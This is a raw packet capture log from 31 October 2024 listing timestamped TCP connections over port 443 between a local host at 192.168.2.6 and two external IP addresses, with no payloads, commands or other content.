Oct 31, 2024 09:07:34.498029947 CET	49883	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.498066902 CET	443	49883	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.498459101 CET	49883	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.498465061 CET	443	49883	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.554039955 CET	443	49882	20.190.159.68	192.168.2.6
Oct 31, 2024 09:07:34.554131985 CET	49882	443	192.168.2.6	20.190.159.68
Oct 31, 2024 09:07:34.625031948 CET	443	49883	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.625467062 CET	443	49883	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.625518084 CET	443	49883	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.625539064 CET	49883	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.625576019 CET	49883	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.632016897 CET	443	49884	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.640052080 CET	443	49885	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.670228004 CET	49883	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.670255899 CET	443	49883	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.670269966 CET	49883	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.670278072 CET	443	49883	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.673996925 CET	49884	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.689646959 CET	49885	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.713495016 CET	49884	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.713501930 CET	443	49884	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.713896990 CET	443	49886	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.713906050 CET	49884	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.713923931 CET	443	49884	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.714153051 CET	49886	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.714167118 CET	443	49886	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.714459896 CET	49886	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.714463949 CET	443	49886	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.714723110 CET	49885	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.714742899 CET	443	49885	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.715588093 CET	49885	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.715594053 CET	443	49885	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.738444090 CET	49882	443	192.168.2.6	20.190.159.68
Oct 31, 2024 09:07:34.738455057 CET	443	49882	20.190.159.68	192.168.2.6
Oct 31, 2024 09:07:34.739479065 CET	443	49882	20.190.159.68	192.168.2.6
Oct 31, 2024 09:07:34.741246939 CET	49888	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.741291046 CET	443	49888	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.741590023 CET	49882	443	192.168.2.6	20.190.159.68
Oct 31, 2024 09:07:34.741627932 CET	49882	443	192.168.2.6	20.190.159.68
Oct 31, 2024 09:07:34.741630077 CET	49888	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.741655111 CET	443	49882	20.190.159.68	192.168.2.6
Oct 31, 2024 09:07:34.741885900 CET	49888	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.741899967 CET	443	49888	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.841129065 CET	443	49885	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.841196060 CET	443	49885	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.841381073 CET	49885	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.841448069 CET	49885	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.841461897 CET	443	49885	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.841475010 CET	49885	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.841480017 CET	443	49885	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.841847897 CET	443	49884	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.841908932 CET	443	49884	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.841965914 CET	49884	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.842071056 CET	49884	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.842087984 CET	443	49884	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.842093945 CET	443	49887	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.842096090 CET	49884	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.842101097 CET	443	49884	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.842648983 CET	49887	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.842664957 CET	443	49887	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.843156099 CET	49887	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.843161106 CET	443	49887	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.844484091 CET	49889	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.844528913 CET	443	49889	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.844592094 CET	49890	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.844594002 CET	49889	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.844616890 CET	443	49890	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.844667912 CET	49890	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.844707966 CET	49889	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.844722033 CET	443	49889	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.844830990 CET	49890	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.844845057 CET	443	49890	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.849575996 CET	443	49886	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.849653006 CET	443	49886	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.849751949 CET	49886	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.849828005 CET	49886	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.849832058 CET	443	49886	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.849853992 CET	49886	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.849857092 CET	443	49886	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.851979017 CET	49891	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.851994038 CET	443	49891	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.852051973 CET	49891	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.852159977 CET	49891	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.852173090 CET	443	49891	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.973261118 CET	443	49887	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.973507881 CET	443	49887	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.973548889 CET	443	49887	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.973551035 CET	49887	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.973587990 CET	49887	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.973628998 CET	49887	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.973643064 CET	443	49887	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.973653078 CET	49887	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.973656893 CET	443	49887	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.975739956 CET	49892	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.975828886 CET	443	49892	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:34.975924969 CET	49892	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.976068020 CET	49892	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:34.976119995 CET	443	49892	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.098670006 CET	443	49882	20.190.159.68	192.168.2.6
Oct 31, 2024 09:07:35.098758936 CET	443	49882	20.190.159.68	192.168.2.6
Oct 31, 2024 09:07:35.098807096 CET	443	49882	20.190.159.68	192.168.2.6
Oct 31, 2024 09:07:35.098833084 CET	49882	443	192.168.2.6	20.190.159.68
Oct 31, 2024 09:07:35.098840952 CET	443	49882	20.190.159.68	192.168.2.6
Oct 31, 2024 09:07:35.098886967 CET	49882	443	192.168.2.6	20.190.159.68
Oct 31, 2024 09:07:35.099113941 CET	49882	443	192.168.2.6	20.190.159.68
Oct 31, 2024 09:07:35.099133968 CET	49882	443	192.168.2.6	20.190.159.68
Oct 31, 2024 09:07:35.099472046 CET	443	49882	20.190.159.68	192.168.2.6
Oct 31, 2024 09:07:35.099556923 CET	443	49882	20.190.159.68	192.168.2.6
Oct 31, 2024 09:07:35.101958036 CET	49882	443	192.168.2.6	20.190.159.68
Oct 31, 2024 09:07:35.462380886 CET	443	49888	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.462944031 CET	49888	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.462966919 CET	443	49888	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.463396072 CET	49888	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.463402033 CET	443	49888	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.565272093 CET	443	49890	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.565840006 CET	49890	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.565866947 CET	443	49890	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.566276073 CET	49890	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.566279888 CET	443	49890	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.573776007 CET	443	49889	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.574047089 CET	49889	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.574065924 CET	443	49889	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.574378967 CET	49889	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.574384928 CET	443	49889	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.579503059 CET	443	49891	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.579756021 CET	49891	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.579763889 CET	443	49891	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.580061913 CET	49891	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.580065966 CET	443	49891	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.590771914 CET	443	49888	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.590852022 CET	443	49888	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.591038942 CET	49888	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.591065884 CET	49888	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.591079950 CET	443	49888	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.591090918 CET	49888	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.591097116 CET	443	49888	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.593736887 CET	49894	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.593792915 CET	443	49894	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.593892097 CET	49894	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.594010115 CET	49894	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.594028950 CET	443	49894	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.693789005 CET	443	49890	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.693851948 CET	443	49890	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.693953991 CET	49890	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.694240093 CET	49890	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.694261074 CET	443	49890	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.694273949 CET	49890	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.694278002 CET	443	49890	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.699590921 CET	49895	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.699628115 CET	443	49895	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.699719906 CET	49895	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.699886084 CET	49895	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.699898005 CET	443	49895	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.703615904 CET	443	49889	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.703641891 CET	443	49889	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.703681946 CET	443	49889	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.703687906 CET	49889	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.703723907 CET	49889	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.703828096 CET	49889	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.703845024 CET	443	49889	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.703854084 CET	49889	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.703859091 CET	443	49889	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.707092047 CET	49896	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.707120895 CET	443	49896	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.707186937 CET	49896	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.707552910 CET	49896	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.707566977 CET	443	49896	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.708856106 CET	443	49891	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.708966970 CET	443	49891	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.709017992 CET	49891	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.709150076 CET	49891	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.709160089 CET	443	49891	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.709168911 CET	49891	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.709172010 CET	443	49891	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.711699963 CET	49897	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.711726904 CET	443	49897	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.711792946 CET	49897	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.711927891 CET	49897	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.711955070 CET	443	49897	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.768311024 CET	443	49892	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.768696070 CET	49892	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.768712997 CET	443	49892	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.769143105 CET	49892	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.769148111 CET	443	49892	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.898252964 CET	443	49892	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.898587942 CET	443	49892	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.898658037 CET	49892	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.898767948 CET	49892	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.898787022 CET	443	49892	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.898798943 CET	49892	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.898806095 CET	443	49892	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.901611090 CET	49898	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.901633024 CET	443	49898	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:35.901686907 CET	49898	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.901899099 CET	49898	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:35.901911020 CET	443	49898	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.319663048 CET	443	49894	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.320136070 CET	49894	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.320173979 CET	443	49894	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.320661068 CET	49894	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.320671082 CET	443	49894	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.438488007 CET	443	49895	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.439143896 CET	49895	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.439192057 CET	443	49895	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.439990997 CET	49895	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.440006971 CET	443	49895	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.445390940 CET	443	49894	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.445467949 CET	443	49894	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.445528984 CET	49894	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.445826054 CET	49894	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.445852995 CET	443	49894	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.445868015 CET	49894	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.445875883 CET	443	49894	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.450779915 CET	443	49896	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.453062057 CET	49896	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.453095913 CET	443	49896	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.453588963 CET	49896	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.453593969 CET	443	49896	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.464589119 CET	49899	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.464647055 CET	443	49899	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.466093063 CET	49899	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.466202974 CET	49899	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.466217041 CET	443	49899	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.499910116 CET	443	49897	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.529237986 CET	49897	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.529264927 CET	443	49897	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.529865026 CET	49897	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.529870987 CET	443	49897	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.573041916 CET	443	49895	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.573584080 CET	443	49895	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.573681116 CET	49895	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.577316046 CET	49895	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.577344894 CET	443	49895	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.577358961 CET	49895	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.577364922 CET	443	49895	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.580921888 CET	443	49896	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.581094027 CET	443	49896	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.581151962 CET	49896	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.584829092 CET	49896	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.584851980 CET	443	49896	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.584867954 CET	49896	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.584872961 CET	443	49896	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.592602015 CET	49900	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.592652082 CET	443	49900	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.592704058 CET	49900	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.599231958 CET	49901	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.599266052 CET	443	49901	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.599317074 CET	49901	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.602241993 CET	49900	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.602260113 CET	443	49900	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.602559090 CET	49901	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.602576017 CET	443	49901	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.634574890 CET	443	49898	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.635108948 CET	49898	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.635128021 CET	443	49898	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.635530949 CET	49898	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.635535002 CET	443	49898	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.676831961 CET	443	49897	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.676937103 CET	443	49897	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.677076101 CET	49897	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.677194118 CET	49897	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.677215099 CET	443	49897	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.677227974 CET	49897	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.677233934 CET	443	49897	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.680016041 CET	49902	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.680071115 CET	443	49902	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.680138111 CET	49902	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.680326939 CET	49902	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.680337906 CET	443	49902	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.768126011 CET	443	49898	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.768152952 CET	443	49898	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.768198967 CET	49898	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.768204927 CET	443	49898	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.768240929 CET	49898	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.771811962 CET	49898	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.771827936 CET	443	49898	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.774621010 CET	49903	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.774656057 CET	443	49903	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:36.774770021 CET	49903	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.774955034 CET	49903	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:36.774966002 CET	443	49903	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.191781998 CET	443	49899	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.236702919 CET	49899	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.347924948 CET	443	49900	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.358475924 CET	443	49901	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.378703117 CET	49899	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.378709078 CET	443	49899	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.379168034 CET	49899	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.379173040 CET	443	49899	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.380872965 CET	49900	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.380891085 CET	443	49900	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.381330967 CET	49900	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.381335974 CET	443	49900	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.381678104 CET	49901	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.381704092 CET	443	49901	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.382086992 CET	49901	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.382092953 CET	443	49901	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.410125017 CET	443	49902	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.410583973 CET	49902	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.410602093 CET	443	49902	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.411036968 CET	49902	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.411040068 CET	443	49902	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.508234978 CET	443	49899	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.508361101 CET	443	49899	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.508425951 CET	49899	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.509944916 CET	49899	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.509960890 CET	443	49899	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.509969950 CET	49899	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.509978056 CET	443	49899	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.510363102 CET	443	49903	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.510652065 CET	443	49900	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.510859966 CET	443	49900	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.510929108 CET	49900	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.511307955 CET	49900	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.511329889 CET	443	49900	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.511343002 CET	49900	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.511349916 CET	443	49900	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.513001919 CET	49903	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.513020992 CET	443	49903	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.513154030 CET	443	49901	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.513209105 CET	443	49901	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.513266087 CET	49901	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.513721943 CET	49903	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.513729095 CET	443	49903	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.514152050 CET	49901	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.514152050 CET	49901	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.514163971 CET	443	49901	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.514170885 CET	443	49901	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.516814947 CET	49904	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.516844034 CET	443	49904	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.516901970 CET	49904	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.517065048 CET	49904	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.517076015 CET	443	49904	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.518310070 CET	49905	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.518351078 CET	443	49905	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.518491030 CET	49905	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.519575119 CET	49906	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.519584894 CET	443	49906	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:37.519697905 CET	49906	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:37.519850016 CET	49906	443	192.168.2.6	13.107.246.45
